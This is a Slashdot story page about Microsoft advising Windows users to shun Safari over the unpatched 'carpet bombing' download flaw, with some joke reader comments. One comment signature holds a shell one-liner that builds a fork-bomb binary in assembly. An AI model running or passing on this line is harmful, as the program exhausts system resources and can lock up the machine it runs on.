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Microsoft Urges Windows Users To Shun Safari

Posted by CowboyNeal on from the big-surprise-there dept.

benjymouse writes "The Register has picked up on a recent Microsoft security bulletin which urges Windows users to 'restrict use of Safari as a web browser until an appropriate update is available from Microsoft and/or Apple.' This controversy comes after Apple has officially refused to promise to do anything about the carpet bombing vulnerability in the Safari browser. Essentially, Apple does not see unsolicited downloads of hundreds or even thousands of executable files to users' desktops as being a security problem." Now while downloading a hundred files to your desktop won't automatically execute them, Microsoft's position is that a secondary attack could execute them for you.

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  1. MS says shun Safari? by DrHackenbush · · Score: 5, Funny

    Finally, something I we can agree on.

  2. Re:Accidentents. by Hal_Porter · · Score: 5, Funny

    This won't give admin rights to the app. UAC to the rescue. If the Aliens in Independence Day had used Vista instead of OS X then UAC would have stopped the human virus running and they would have been able to complete their conquest of Earth.
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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  3. Re:doesn't work? by that+this+is+not+und · · Score: 5, Funny

    Since I voted for George Bush (twice) and Bill Clinton (twice!) I classify MYSELF as a terrorist. I've certainly done enough damage to the country to sit the next election cycle or two out. heheh I need to be careful since whichever lame tool I vote for gets elected....

  4. Re:Accidentents. by Firehed · · Score: 5, Funny

    What about bunnies with boobies?

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    How are sites slashdotted when nobody reads TFAs?
  5. Re:Accidentents. by billcopc · · Score: 5, Funny

    The world ends.

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    -Billco, Fnarg.com